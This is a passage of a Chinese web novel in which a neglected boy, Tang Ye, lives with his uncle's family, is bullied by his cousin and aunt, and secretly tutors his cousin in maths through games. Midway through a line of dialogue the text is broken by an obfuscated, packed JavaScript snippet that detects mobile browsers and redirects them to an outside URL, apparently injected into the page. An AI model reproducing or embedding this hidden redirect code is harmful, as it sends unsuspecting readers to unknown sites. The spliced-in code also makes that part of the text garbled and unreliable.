唐晔夹起了一块炒得硬梆梆的肉片送进嘴里,嚼了几口就吐了出来,真难吃,又咸又柴!他就着面条里的热汤把青瓜吃掉,又吃了鸡蛋和几口面条,就告诉黄姨,自己吃饱了。 黄姨许是刚才被他盯那一眼吓到了,又或许是想到他是这称霸南方的万里唐家老太爷的爱孙,当着面倒是没说什么就把东西收拾进厨房,但一关上厨房的门就开始骂骂咧咧:“做了又不吃,拿人来消遣。” 吴姨在她旁边出主意,“不如晚上跟太太说说?这小孩难伺候。” “太太?难道太太就敢不听老太爷的?真是送了尊佛过来,讨厌死了。陈家的倒个垃圾倒了多久,还不回来。明明就是让她看管这小孩的,就应该她做给他吃。” “早上不是说那小孩喝不得普通牛奶么?刘家的给了钱让她赶紧先去超市买一罐那种特殊奶粉,说,别让大宅那边知道他连奶都没得喝。” “真是难伺候!”两个老乡一边做着家务一边吐槽。 唐晔吃完饭,还逗留在饭厅里。他想起十天前、哥哥生日那天,他在这里看到过一张报纸,那时,一掠而过那一眼,有一张外国新闻配图让自己印象深刻。 唐山海家的内务管理有些混乱,至少小孩在大宅里还没见过每日的报纸、财经杂志等杂乱交错地堆在餐厅的角落,一两个月都没有清理。得益于仆妇们的懒惰,他一边一张张、一本本按时间顺序叠好、理顺,又一页一页打开国际新闻翻看。 12月底发生了不少大事件,很多新闻配上了外国女性的头像照片。 小孩坐在报纸堆中呆呆地看着某张图片。 严丝密缝的记忆像被打开了一个缺口。一个年轻的高个子白人女性,不顾他的声声呼唤,越走越远,把他留在了原地。 那个应该是他真正的妈妈,却渐行渐远,只给他留下一个如释重负的背影。 突然,他脑海里又现出一个血肉模糊的男性,肮脏而腥臭。直到最后一刻了、那个黑乎乎的手还要拼命伸向自己…… 他忍不住转身呕吐了起来。 “哎呀,你这小孩又搞啥!”吴姨和黄姨听到饭厅的异常,跑出来查看,正看到这小孩跪坐在一堆报纸中,呕吐了。吴姨赶拿纸巾捂住他的嘴把他塞进最近的洗手间,黄姨又准备开骂,这时陈姨刚好买完奶粉回到,看这阵仗惊了一跳,赶紧先搞好了这孩子,把他全身清理干净,让他进房间呆着,再在两个同事的冷嘲热讽中清理完被呕吐物沾污的报纸。 唐晔喝过奶粉,又在床上躺了好一会儿,才恢复精神。 日头西斜,他盘腿坐在房间飘窗上用平板画画。突然,砰的一声,门被用力推开,唐天问都没问一声就闯进来,冷冷对他说,“吃饭。” 他抬起头对他微笑,“好的,哥哥。” 唐天对着他的笑脸一时没反应过来,稍微呆了一下,他才说:“叫你吃饭就快一点,等一下还得陪我做作业呢!” 他还是维持着那个温和的笑容说,“知道了,哥哥。” 归秀兰已经回来,但没见到唐山海。她看见两个男孩走出来,便招呼,“小天快坐下来,饭都凉了。” 唐天坐到妈妈对面的位置,拿起筷子大口大口的吃起来。 唐晔走到她身边恭敬地打招呼,“妈妈,您回来了。”她瞟了他一眼,就当是回答了。不在唐万里和方源面前,她连表面功夫也懒得做。 唐晔等了一下,见她没说什么,就当是她默认自己能够坐下吃饭了,便绕过去,自己拉开唐天身边的凳子想坐下来。 这时,唐天的保姆吴姨却指着十人餐桌最遥远的位置,尖声说,“三少爷,您的位置在那儿呢!” 唐晔看了看,与他们母子之间隔了两个位置,“为什么我要坐那边?”他问。 “今天中午你不是呕吐了么,怎知道你有什么毛病呀,传染给二少爷就不好了。”吴姨阴阳怪气地说。 他小声对归秀兰说,“妈妈,我没有传染病,方伯伯应该跟您说过的。”但看这两母子,都当没听到似的。一个优雅地喝着水,一个大口吃着饭菜。 这时,唐山海已经回到家,他放下东西,在洗手间洗过手走到餐厅,他亲昵地拥抱了一下太太、又揉了揉儿子的头发,见唐晔还杵在那里,便打了招呼,“小晔,坐下来吃饭呗,来,坐你哥哥身边。” 吴姨自然是不敢拿出刚才那套说辞的,本来就是借口,用来欺负那小孩。 唐天却急急忙忙说,“爸爸,她们说小晔有传染病,又咳嗽又呕吐,不能靠近我们吃饭,会传染给我们。” “乱说些什么!谁说的?”唐山海不悦,毕竟是自家侄子,岂容他人造谣生事。 “吴姨。”见爸爸发威,唐天很老实地出卖了自己保姆。 “什么屁话!以后不准乱说!吴姨,注意自己言辞!给三少爷布好碗筷。” 那吴姨只好把刚才放在两个座位以外的那套餐具和餐垫拿过来,放到唐天旁边的座位上。 唐晔坐下来之后,唐天像躲避什么传染源似的,往爸爸的方向挪了又挪,差点都只有半个屁股坐到餐椅上了。 唐山海小声批评,“小天,不要太过份!” 唐晔转向唐天慎重其事的说:“哥哥,我只是有点哮喘,发病其间会咳嗽及呕吐,我会注意个人卫生,不影响到你。这个病不会传染。请你放心。”说完,他拿起公筷开始夹菜,再换私筷送进嘴里。 唐天悻悻的不知道怎么答话,终于也正常坐好开始大吃起来。 归秀兰冷眼看着,不发一词。 傍晚,唐天的家教、一个大学生模样的男生来到他们家给唐天补习功课,两人鬼鬼崇崇溜进唐天的屋里关上房门。 唐晔进房间时,大学生还想装模作样地教一下唐天,唐天摆了摆手说,“别怕,一个死小孩而已。”随即又冷冷地问,“你进来干嘛?” 他讨好地对两人笑了下,“刚才不是哥哥说,让我陪你做作业吗,看一下哥哥的课本嘛!”便走到书桌前,饶有兴趣地翻阅着小学数学六上的数学书和练习册。 许是游戏刚打完一局在等待进入下一局,大学生无聊起来,以为以唐家这些有钱孩子哪有爱读书的,便随口逗他,“你会吗?不会可以问我。” 唐晔不动声色地问了他好几个函数题。一开始大学生还答得上,后来竟哑口无言。这个孩童笑着说,“听说哥哥是数学系的?”这时两人的手机里传来音乐提示,这小孩也不纠缠,轻拍了一下大学生哥哥的手机,“大哥哥,排进战场了,进去吧。” 大学生反而不敢再玩游戏了。 唐晔笑道,“玩吧,没事。揭穿我哥或你,最多就是他被批评一顿,辞退掉你,再换另一个人来陪他打游戏而已。对我的目的没好处。” 唐晔左看看右看看、正想问一问,吴姨敲了敲门在外面尖声说:“少爷,教钢琴的吴老师来了。” “什么?我能练钢琴?”唐天刚好这一局结束,顾不得别的,他大步走了出去,又突然转过头回来:“勇哥,我作业没做呢,给我做完再走啊!”丝毫不在意唐晔在不在场。 大学生勇哥“哎”地答应了一声,很自然地从他书包里拿出练习册,很自然地翻了翻作业登记本,很自然地提笔帮他做了起来。 没做几题,大学生突然惊了一下,一抬头,原来刚才被唐天称为“死小孩”的那个孩子还在呢,脸上还是笑嘻嘻的,但手里的手机却把自己正在做小学生作业的过程拍摄得一清二楚。 “你干什么?”他粗声粗气地想吓这个小男孩。 “拍下大哥哥帮我哥做作业的证据呀!”小孩的声音糯糯的。 “你拍呗!小天又不怕你告状。” “但你——怕呀!”唐晔笑得狡黠,“大哥哥,如果让妈妈知道你刚才上课时间带哥哥打游戏,作业又是你做的,妈妈一定会炒掉你吧?……那就可惜了,唐家这么有钱,给你的时薪一定不少,而且,如果一旦给别人知道你带着所辅导的孩子打游戏混时间,不知以后还有人敢请你当家教吗?”他越说越慢, “当然你可以打别的工,但肯定不可能马上找得到更好的吧?” “你想怎么样?威胁我一个穷学生对你有什么好处?” 那“死小孩”又笑了笑,“我给你个建议:和我一起,把我哥的成绩提上去。他成绩上去了,不但妈妈高兴给你更多钱,以她与别的富家太太的交情,明年也会介绍你给别人家当家教,总好过你去端咖啡、派传单吧!甚至你态度好,到毕业找工作时这种人脉资源也能助你一臂之力吧?”这语气仿佛已知这大哥哥不可能不就范了。 “那你们还请家教干嘛,你那么厉害,连分段函数都会,天才儿童啊,那你自己教他呀!” “不不不,表面我也是你的学生,我哥和你好,听你的,你得配合我。”他摇摇头。 “怎么配合?” “就是我要我哥做什么,你就配合游说我哥试一试,你是聪明人。具体,明天你来了再说,现在乖乖完成作业吧,我要看我哥哥弹钢琴去了。拜拜大哥哥。”唐晔潇洒合上房门出去了。 小孩又来到放着钢琴的房间。 上门教琴的吴老师是一个年轻女孩,本来以唐天刚才对大学生哥哥的态度,哄骗这个年轻女教师也应该不是难事。但出乎意外,唐天却非常认真和她讨论着乐理和乐谱上的问题。 唐晔站在钢琴旁听了一会儿,竟难得的一句话都插不上。他只好从地上拾起老师包包里掉出来的一本考级曲目,大致按照上面的某行乐谱弹了个哆咪嗦咪嗦哆。 唐天低头认真写着什么时,女教师回头问这新来的孩子,“弟弟,你也想学琴啊?” 唐晔又甜甜的笑着说,“是,吴老师也能教我吗?” 女老师便教了他怎么触键,“弟弟你的指甲留这么长啊?” “我在学古琴。”小孩一脸甜笑。 “原来是这样。但钢琴刚好相反,需要剪短指甲。” “这样啊,那我马上去剪一下……” 唐晔话没说完,唐天吼道,“滚!” “为什么?我也想学,我也想看看,自己什么时候能弹得像哥哥那么好!”唐晔不动声色,装着很诚恳好学的样子。 “就凭你?再练个十年吧!” “那可不一定哦,毕竟几天时间,我就记住怎么弹平沙落雁了呢。” “哈哈,就你那几声乌鸦叫也好意思叫雁鸣?” “嗯,也是,不怎么好。所以或许也可以试试在钢琴上我能不能做得更好……” 小孩表现得自信满满,毕竟在唐家人心里,他以聪明著称。 归秀兰正拿点心走进来,受不了这野孩子在儿子身边啰嗦,扯着唐晔的上臂粗暴地把他推出去,“别吵我儿子!”又转过头,“小天,好好学,别让那死小孩比你厉害。” “哦……啊?! 您同意让我继读学音乐了?” “当然,你不是喜欢吗?但学习上你也要给我好好努力!” “好! 一定!”唐天信心满满。 第二天晚饭后,家教白勇又上门来。归秀兰对他说:“小勇啊,小天还有不到10天就要考数学了,你们这几天得加把劲啊!” 白勇应付着,心想,“也得你儿子自己想学才行啊!” 进了房,唐天却主动对他说:“勇哥,不如今天你教一下我怎么做题吧。” 白勇有些吃惊:“转性子了?” 唐天解释道:“我妈答应让我继续学音乐,但条件是成绩得提上去。” 白勇拿起书架上最靠近他们的一本奥数题开始教他。白勇给了他足够的时间,唐天确实每道题都去解了,但一看答案,10道题最终错了6道。 刚做完时,唐天还信心满满,但这时,他趴在桌子上,连头都不愿意抬起来。 昨天那“死小孩”不知什么时候进了房间,悄无声息地坐在他们身后不远。 白勇帮他分析,主要问题出在计算上。他指着题目说:“你看,六年级常见的难题,无非是比例、路程、面积计算等,列式都很简单你基本都列对了……” 唐天还是把头埋在臂弯里,摆了摆手,打断了白勇的话:“勇哥,我没救了,不说了,打游戏吧。” 白勇试图重燃起他刚刚的斗志:“再试一把?其实刚才很多是乘除法题,乘法口诀不够熟悉呀!我们来背一下口诀吧?” “乘法口诀?”唐天一拍桌子,反问道,“你当我是一二年级的小屁孩吗?不来!我要打游戏!”白勇还想说些什么,但唐天吼道:“闭嘴!收钱就干活,给我做功课去!”白勇无奈,只好拿起笔,像昨天那样给他写作业。 唐天又趴了一会儿,侧过身子摸出手机。 当他颓废的用手臂把自己支棱起来的时候,才见唐晔不知啥时候已坐在他旁边,和他一样用手臂架在桌上撑着自己,面带微笑的看着他。 “干嘛?”他瞪那小孩一眼。 “哥哥在玩什么游戏,给我看看嘛!”唐晔甜甜地笑道。 唐天憎恨那过于聪明的头脑——刚才那些小儿科题目对于这死小孩来说轻而易举吧?这种念头一旦产生,就如同烈火般在他心中越燃越烈。 他猛地一把推过去,那孩子随着倒下的板凳歪在桌边,连白勇也吓了一跳。 然而这死小孩又倔强地爬了起来,扶起板凳坐回桌边继续微笑地盯着他。 唐天不瞅他、开始专注地打游戏,小孩的头慢慢地挪到他肩膀附近。 唐天一边躲避着他的头一边操控角色、又多次一手推开他,但这死小孩还是不依不饶地粘过来继续观看。 尽管不被理睬,但唐晔仍然一边兴致勃勃地看着,一边赞叹不已:“哇!酒神咒真是太炫酷了!……这个万剑诀真就像万剑齐发一样,太壮观了!……剑气纵横,对手根本想逃都逃不掉嘛!……李逍遥技能太猛了!……哥哥加油,把对手干趴下!……” 一连看他赢了好几局,小孩的眉眼笑得弯弯的:“哥哥的操作好厉害!你玩得真是太炸裂了!教教我嘛!” 唐天一边连连取胜,弟弟在旁边不住地称赞,让他心情大好。 他放下手机抬起头,眼神中带着一丝不屑,嘴角勾起一抹轻蔑的笑意:“想学?这可不是给小屁孩玩的。”又慢悠悠地说道:“如果你真的想学,那就得答应我一个条件。” “什么条件?”唐晔急切地问道,一脸坚决,“只要我能办到,我一定答应!” “你得帮我做一个月的作业,包括接下来的寒假作业。”唐天笑着提出了条件,看着唐晔愣住了的表情,他又补充道,“语数英全都要!”弟弟眼睛一闪一闪地看着他说:“哥哥,你就带我试试吧!” 唐天帮他下载了游戏、帮他注册、还教他怎么登录、教了一些基本的操作。 唐晔又赞道:“哥哥讲解得好详细,我一下子就懂了!” 唐天“哼”了一声,“只是现在没人陪我而已,这样,你来陪我打一把竞技场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942738|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他纯粹想虐待一下这新丁。 “那等下我们一对一,先说好,要是我赢了哥哥,哥哥就陪我玩个我喜欢的游戏嘛。” 唐天嗤笑,“就你,还想赢我?那要是等下我把你打得满地找牙呢?” “哥哥那么厉害,赢我不是很正常吗?”唐晔笑眯眯的。 听着他的吹捧,唐天一下子飘了:“今天之内你只要能赢哥一局,都算你赢了这场比赛!” 唐晔还是笑得不动声色:“好!” 登入竞技场,唐天自信满满:毕竟这小孩初次涉足这款游戏,怎么可能赢我?他还是选照旧择了李逍遥这个角色,而唐晔则选择了法系输出“潘多拉”。 游戏一开始,唐晔显得有些手忙脚乱,唐天则游刃有余地操控着李逍遥,轻松地躲避着潘多拉的攻击,同时不断地输出伤害。 “你怎么这么菜?”唐天嘲讽道,“潘多拉可是很强的,和李逍遥的胜率平均的。” 唐晔一边开启夸夸模式:“我怎么能和哥哥比呢?”第一局结束,唐天轻松地赢得了胜利。 第二局,唐晔显然比之前有了底,他尝试使用潘多拉的一些连招技巧,虽然还是不如唐天的操作流畅,但至少能够对李逍遥造成一些威胁了。 然而,唐天却更加得意了,他一边轻松地躲避着攻击,一边嘲讽道:“看来你也不是毫无长进嘛,但还是太嫩了点。” 唐晔这次没有答话,他全神贯注地操控着潘多拉,试图找到打败李逍遥的突破口。尽管依旧未能战胜哥哥,但也不是毫无收获。 第三局,唐晔嘴角微微上扬,他已经逐渐暗暗掌握了潘多拉的使用技巧,但他小心翼翼地没被哥哥发现他找到门道,第三局唐晔还是输了。 唐天嘲讽地笑道:“你终于学会怎么玩了?不过,想赢我?再等一百年吧!” 随着比赛的进行,唐天越来越得意,每次击败唐晔后都会发出嘲讽的笑声。他开始飘飘然起来,完全不把唐晔当作对手:“你要是能赢我,作业都不用你帮我做了!”唐天大言不惭地说。反正也不是没别人给我做。 就在唐天连赢了几局、觉得有点开始无聊时,唐晔却露出控制不住的兴奋:“哥哥我们再玩一局好吗?我终于明白你为什么那么喜欢了,太好玩了!” 那我就再虐虐你这小屁孩呗!“给我来点真本事,好吗?我都无聊死了!”唐天哼了一声。 唐晔笑着说:“不会让哥哥你失望的!” 再一次进入竞技场,唐天操控的李逍遥凭借出色的操作和战术运用,再度将唐晔的潘多拉逼至绝境,使其血量跌至三分之一以下。 眼看着比上一局还要更快落败,唐晔还是嘴角带笑,并没有因此慌乱,他精准地操控潘多拉躲避李逍遥的攻击,同时利用“暗鸦召唤”技能召唤乌鸦群,一点点消耗李逍遥的生命值。 在李逍遥即将发动致命一击时,他果断使用“心灵尖刺”,成功降低了李逍遥的法术抗性,又步步后退,找到一个角落卡位让李逍遥的万剑诀打不中自己,抓紧这时机成功释放出潘多拉的大招“暗影之舞”。 这一局,“潘多拉”打赢了。 唐天恼怒地抛下手机、一把捏住他的脖子说,“刚才那几局你故意玩我的吧?” “没有,怎么会呢?”死小孩咳了一声,徒劳地抓住唐天的手腕。 “那你现在这局残血了都能赢我?”唐天盯着他开始发红的眼圈,心中疑惑。 “哥哥,莫非,是对自己的操作、这么没自信?”尽管脖子被捏住,喉骨开始疼痛,他尽量口齿清晰。 大学生白勇见事情不好,连忙拍打唐天的手臂,让他放了那小子。唐天哼了一声放了人,又转过去不理他。 唐晔深呼吸了几口,顺了气,又笑嘻嘻地说,“哥哥,你赢了就继续,输了就放弃,那你永远只能成为别人练手的对象哦。” “你给我滚!”唐天怒吼着。 “我也很想滚啊,但是哥哥,愿赌服输,我可不想让你背负失信于人的话柄呢!”说得好像是为他着想一样。 唐天没有理他,继续登入游戏,在竞技场驰骋冲杀。 这时归秀兰在外面敲门:“小天,妈妈进来了哟!”很快,门被推开了。 唐天心一慌手一抖,唐晔一把抢过唐天的手机,顺势舒舒服服地窝在椅子上双手狂点着游戏,装作后知后觉才发现妈妈进来。同时白勇迅速把做了一半的作业摊到唐天面前,握着笔对着题目指指点点。 “你怎么在这里玩游戏?吵到我儿子学习了怎么办?”归秀兰进来,见家教在给儿子耐心讲题,而隔着不远的小贱种却在打手机游戏打得入了迷!她火气上来,把唐晔痛骂了一顿。 白勇接收到唐晔的眼神,连忙解释说,是自己奖给唐晔玩的,因为他已经掌握了今天的教学内容。 归秀兰这才转向白勇,对他说:“你不用管这小孩,关键是要把小天教好。”说着,她大力掰扯唐晔的胳膊,打算把他赶出去。 白勇迅速补充道:“两个小朋友相互竞争,有对比才会有压力,小天今天的表现比以前快了许多,进步很大。” “真的?那就把他留在这儿吧。”她转身准备走了,又突然转过身,轻轻抚摸着儿子的头说,“小天,赢过他”,和颜厉色。 见归秀兰离开了房间,三个人都松了一口气。 唐晔把手机还给唐天,又腆着脸求道:“哥哥,你刚才答应过我要是我能赢你一局,你就陪我玩一个游戏的!而且我刚才还帮了你的忙、替你挨了妈妈骂呢……” 唐天仍惊魂未定,生怕妈妈再次突然闯进来,他暂时也不敢再打游戏了。 唐晔拿出了平板电脑,上面已经有一个预先准备好的加减法运算题库,对哥哥说:“反正都到这儿了,我们来一场做题游戏吧,每人50道题,看谁做得更快?” 然后两人又投入到了计算题的海洋中。在这个充满数字思维的世界里,唐天逐渐磨练出快速运算的能力和专注力,正确率也显著上升。 而弟弟今天也练出一把巧嘴,对着哥哥又是一顿猛夸:“哇塞!哥哥的进步简直就像坐火箭一样快,真是太棒啦!我相信,只要你继续保持这种势头,你期末考试一定会突飞猛进!加油哦,哥哥!你是最棒的!” 唐天虽然表面上还是一副不以为然的样子,但内心却有了一丝小小的得意,“你可别吹捧我啦,来吧,一起跟我去琴房练琴了。”他破天荒的允许弟弟跟着自己。他发现自己竟然在享受这种被弟弟缠着的感觉,这个原本这个讨他厌的死小孩,竟变得有那么一点可爱。 第二天傍晚,两人又坐在书桌前,面前是一副摊开的扑克牌。唐天虽然被手机游戏勾引得挠心挠肺,但在“手快就能抢到扑克牌”的吸引下,他渐渐沉浸在了数字的世界里。 第三天,游戏升级了。除了扑克牌,他们还需要运用连加连减的运算技巧。唐晔总能迅速看到解题的路径。唐天开始在这方面也不甘示弱,他一边玩一边琢磨,逐渐掌握了技巧。 第四天,挑战更大了。他们开始尝试多位数的加减运算。唐晔轻松应对;唐天虽然有些吃力,但他从未放弃,坚持练习。 第五天,他们终于迎来了乘除法运算技巧的挑战。 当归秀兰走进房间,看到唐晔和唐天正聚精会神地比赛做题,她惊讶地发现,唐天虽然起初落后,但现在他的速度和准确率已经与那小子不相上下了。 “儿呀,你真的很棒!”归秀兰忍不住欣慰地赞叹道,又向白勇说:“小勇啊,你加把劲儿,期末我们家小天考好了,我给你发个大红包!” 白勇心虚地说:“两个弟弟一起,相互竞争、相互努力就掌握得快。” 在最后三天,白勇为唐天讲解小数、分数运算、面积、比例和解方程等内容,唐晔在一旁用编程软件,按照今天讲的内容调整游戏题库。经过前几天的强化训练,唐天对数字的恐惧已经消散,他发现这些题目不再让他感到困扰。临考前这几天的作业相对较少,他居然自己完成了所有的数学作业。 归秀兰略惊喜地看着期末发还的数学试卷,平时只有三四十分的卷子,这次竟然能及格了!也是,毕竟大题和几何题,原来画出辅助线、辅助图,列出式子,只能得三分之一的分值,现在,好歹,能做完整张卷子!还能把它们算对大半!她把已经和她一样高的儿子抱在怀里轻轻拍打着,又高兴地当面表扬了大学生家教白勇:“小勇啊,我就知道郑太太介绍你过来,你一定行!以前的那些什么名家、名师,都搞不定我家孩子。郑太太她儿子去年也是你带着考上重点的吧?”一边给他递上个厚厚的红包。 白勇看着站在不远处捧着个水杯、似笑非笑看着自己的那个“死小孩”,心怀忐忑地笑了笑:陪郑太太儿子时,同样都是不学无术的二世祖,自己还不是上课陪玩手游、下课帮做作业吗?!至于郑家儿子后来怎么考上的,世界上还有用钱解决不了的问题?只是郑太太肯定不会跟别人大肆宣扬而已。“唐太太,谢谢您,不用了,您已经给过工资了。”这红包,他可收得不安不宁。 唐天叫道,“勇哥,拿着吧!”对他眨了眨眼。 白勇瞥见那孩子也微微点头示意自己收下,也是,再不收,推脱得太认真,万一说漏了给人家妈妈发现端倪了怎么办。 接下来的几天,他们仨也继续着这种打游戏、玩数学棋、做速算练习、再打游戏的循环生活,他们仨还一起排了竞技场,白勇用个“康斯坦丁”来辅助他们这俩强攻击系。自从唐天对做题不再恐惧后,他也愿意自己承担寒假作业。他语文和英语本来就挺好。 唐晔觉得只要唐天能包容自己,又有陈姨照顾饮食起居,他的日子也挺快乐的。 但这天白勇回家乡了。唐晔第二天起床,发现连哥哥都不见了人影。听保姆们聊天,才知道原来他们两母子去韩国旅游,前几天妈妈连提都没向他提过一句,就当他透明的一样。 他也乐得清闲,早上和唐山海一边聊天一边吃完早餐,全天时间不是在家里画画看书,就是到附近的博物馆、图书馆走走看看。 对了,归秀兰的秘书那天过来,他的户口、身份证等总算给办下来了。 证件上用的是与唐天同样的出生日期。他记得几年前,自己眨巴着大大的眼睛,曾憧憬着一个完美的家庭,父母疼爱,哥哥呵护。他曾虔诚地一笔一划地在祈愿贴上写上他的名字,哥哥的生日。 这份法律上的联系能否成为情感的纽带?他这算是有家了吗?他也能被人爱、被人期待了吗? 他相信自己值得这一切。 几天后,两母子从韩国回来。归秀兰买了两大箱子东西,在丈夫温和而鼓励的微笑中,从角落的位置扯出一件皱巴巴的T恤递给那小孩。 但那小孩并不介意,礼貌谢过——他自己对物质要求并不强烈,平日里,方伯伯给他买了什么,他就穿什么用什么。甚至那天吴姨给了他一件唐天穿旧了有点儿起毛的衣服,他也照穿不误。 好几天没见到哥哥,他拿着几天前刚到手的身份证有点兴奋地敲了敲唐天的房门,又迫不及待扭开门锁,高兴地对他说:“哥哥你看,我的身份证拿到了。” 看到唐天正和别人打视频电话,唐晔便说了句抱歉,正想退出房间,唐天却突然大喝一声:“喂,站住!”语气恢复到自己刚来他们家时一模一样。 唐晔疑惑地回头,撞上唐天恶狠狠的脸:“你这衣服怎么回事?” 他低头看看,是吴姨给他的那件。 刚想解释,唐天一把抓起他肩膀一掼,把他掼到墙边。他想挣扎,唐天用手肘和膝盖紧紧抵住他的胸和腹部,把他紧紧压在墙上,恶狠狠地命令:“脱下它!” 他很想说,我回房间脱。 唐天见他毫无动静,手上的力道加大了很多,“脱不脱?!” 他被压得有点难以呼吸,害怕得手在抖,没法脱衣服。 唐天直接上手,直接一把把衣服从他身上硬扯了下来。 而这时,平板上的视频电话还在继续。 不知是被唐天的手臂紧压住肺部让他无法呼吸,还是没想到几天没见,唐天又像以前那样粗暴对待他,他的耳朵嗡嗡作响。 从遥远的地方传来不知谁的声音:“天哥,好A啊!” “最帅我天哥!” “总工啊!那小兽是谁啊!” “哈哈哈哈!天哥,上!我支持你,不听话的就动他!” 他赤果着上身,连滚带爬地逃出唐天的房间。 冲进自己房间,男孩紧紧抱着自己的肩膀,一遍遍让自己冷静。 没事,没事。 我以为我们的关系已经有所变化了呢。 虽然,小时候他不是没这样对待过自己。这次不过只是重演而已。他开始庆幸归秀兰给自己买了件新衣服。 那几天,他都躲在自己房间,尽量避免出门,只在他们一家吃完饭后,再到餐厅看看还有什么剩下来的食物。冷掉的变硬了的,加热一下随便吃点就行。他已经无所谓了。 …… 很久以后,在遥远的异国他乡,在那小孩终于永远离开自己后,多少次半夜梦醒,唐天发疯地跳下床、从箱子里把这件衣服拿出来揉在怀里、全身缩成一团。 他抑制不住地尖叫,又泣不成声。 But I''m a creep, I''m a weirdo. What the hell am I doing here? 我有何堪,何所营营? …… 5. 第 5 章 年廿九下午,唐山海总算空闲下来。这天晚上结束晚餐,爸爸对大家说:“去花市逛逛吧,要不明晚人更多。小晔要去吗?” 唐晔还没吃完晚餐,但他连忙放下手里的餐具,嘴巴里的食物还没完全咽下去就连连点头,引来归秀兰又是一个鄙视的眼神。可小孩也顾不上那么多了,赶紧大口大口又扒了几口食物,免得又让那些啰哩叭嗦的保姆们投诉自己浪费东西、耽误出行。 他匆匆吃完,又急急洗了手,在门口穿好外套和鞋子,就一直耐心坐在外面换鞋凳上等着他们一家三口,他可没有信心认为归秀兰和唐天会等待自己。 好一会儿,才等到归秀兰拉着唐天的手、两母子高高兴兴一起来到门厅。他连忙从换鞋凳子上站起来让位置给他们俩。 归秀兰先穿好了高跟皮靴。而唐天今天硬是要穿一双新球鞋,先是拆包装、一根根换上彩色的鞋带,又一眼瞥见唐晔的鞋带的结打得好看,他也不跟唐晔说话,就一直坐在换鞋凳子上磨着自己妈妈,让她帮忙也绑成那样。 但归秀兰也不会,她便对唐晔叫道:“喂,你来给小天绑一下。” 唐晔有点不敢相信地看着她,连个当母亲的表面样子也不愿维持了吗:第一,自己有名字,不叫“喂”,第二,为什么鞋带不自己绑,要让我给他绑? 他环顾了一下,换鞋凳子已经被两母子坐满了,只好蹲在唐天对面,说,“哥哥,我来教你怎么绑,好吗?”唐天哼了一声,也不知道是说好,还是不好。他解开自己的鞋带,慢慢给唐天讲解一遍,最后问,“懂了吗?” 没人回答。 他抬头看唐天,却看到唐天满不在乎地玩着手机——这死小孩又像小时候一样,一溜烟躲着自己,不过反正这是自己的家,又不像爷爷家那么大,你能躲哪去!这不,还是要来求我。 归秀兰刚才一直在旁边冷眼旁观,闻言抬起穿着新皮靴的脚,用鞋尖踢了踢唐晔的小腿,压着声音吼到,“你教得会他,都帮他绑好了,赶紧的!” 唐晔站起来,目光在唐天的无视与归秀兰的不屑间流转,平静地回答:“我不。” “那就不走了!”唐天一边玩手机一边漫不经心地说。 唐晔盯着唐天一会,发现他还是不打算动手、还是想逼自己就范,不去就不去了呗,他干脆转身准备回去洗澡睡觉。 这时唐山海出来了,看到侄子一脸委屈都溢出脸上了,问清楚原委,说了句公道话,“小天,你干嘛非得绑成那样,怎样绑不是绑!自己搞好。” 唐天不怎么敢在父亲面前用强,自己愤愤然绑好鞋带,拖着妈妈的手先走了。爬上父亲的车时,他故意一上车就锁上车门,直到爸爸打开车门锁让那死小孩上车。全程,归秀兰一声不吭,看着儿子欺负这小孩。 唐晔不想争辩那么多,反正出门的目的达到了。 羊城的腊月,温暖如春,花香四溢。每年的年廿八到年三十这三天,每个区都会举办春节花市,售卖南方各色鲜花、工艺品、美食等,傍晚到深夜尤其热闹。这一传统已经持续了六十多年。 但自从来到中国就一直呆在医院或云山大宅、几乎两点一线的唐晔,只能从网上了解过这个盛会,从未真正踏足过人头攒动的地方。一路上他带着无限憧憬和好奇,贪婪看着车窗外城市里的灯火辉煌。 唐山海停好车,吩咐儿子拉着弟弟。唐天撇了撇嘴,拉着妈妈先往前走去。唐山海只好说,“小晔,你拉着我衣服,人太多,别走失。”唐晔点了点头,轻轻握着唐山海的衣角。 走进花市,他仿佛踏入了一个五彩斑斓的梦境。扎成飞马形状的花圃里鲜花盛开,盘成骏马形状的彩灯闪烁。摊位琳琅满目,人流如织,好一幅活色生香的新春画卷。 以前在爷爷家时,装点着大宅各处的花卉只有数棵金桂,过年时最多添了几盆水仙和几丛菊花,清冷寒寂。在这里,半条街上,桃花、百合、牡丹、芍药、月季、山茶、蝴蝶兰等四季鲜花,仿佛是群花开大集会似的,那些盛开的花朵竞相绽放,争艳斗丽,让他目不暇接。 有盆牡丹,花瓣层层叠叠,犹如云霞缭绕,颜色比朝霞还要艳丽。第一次见到这国色,也是第一次闻到它的天香,小孩忍不住凑近细嗅,那馥郁而温暖的香气瞬间弥漫在周围,仿佛置身于书上繁花若梦的洛阳城中。 唐山海到这时候还在忙,他一边接了个电话一边向前走着,没查觉侄子停留在某个花档前。唐天回头一看,见爸爸一边独自前行一边在打电话,便转身挽上爸爸的手继续往前走去,不知是有意还是无意,没人提起,那个小孩已经不在他们身边。 闻够了花香,混杂着人流,小孩往前走去。花市上另外半条街的香喷喷的小吃也让没见识过这些的小孩垂涎欲滴。他想让爸爸等等,但一抬头,唐山海的衣角已不在手里。 他踮着脚向前张望——唐山海的后脑勺出现在人群中,在前面没几步;人群一晃,看见唐天左手挽着自己爸爸,右手挽着自己妈妈,离他并不远,但没有人回头分他一个眼神。他大声喊过“爸爸,妈妈,哥哥”,许是他的声音太过陌生,三个人毫无反应。他随着人流,跌跌撞撞地跟着他们一家三口,连香喷喷的美食都无法分心看上一眼。 以前,唐笑姐姐曾说过,一家人出行时,妈妈永远只拖着唐天,爸爸护着妻儿,偶尔才会分给自己一个回眸,因为她大了,不会走失。但我还很小呢!只要一停下来,看两眼东西,我就找不到你们了。爸爸妈妈,我也可以当你们的孩子呀,能不要不顾我吗? 最后,追累了的小孩自己一屁股坐在江边的树墩上。 他放弃了继续追着他们走。在树根下歇了一会儿,他自己再次走进人流中。反正他已经到了花市,跟不跟他们在一起也无所谓了。 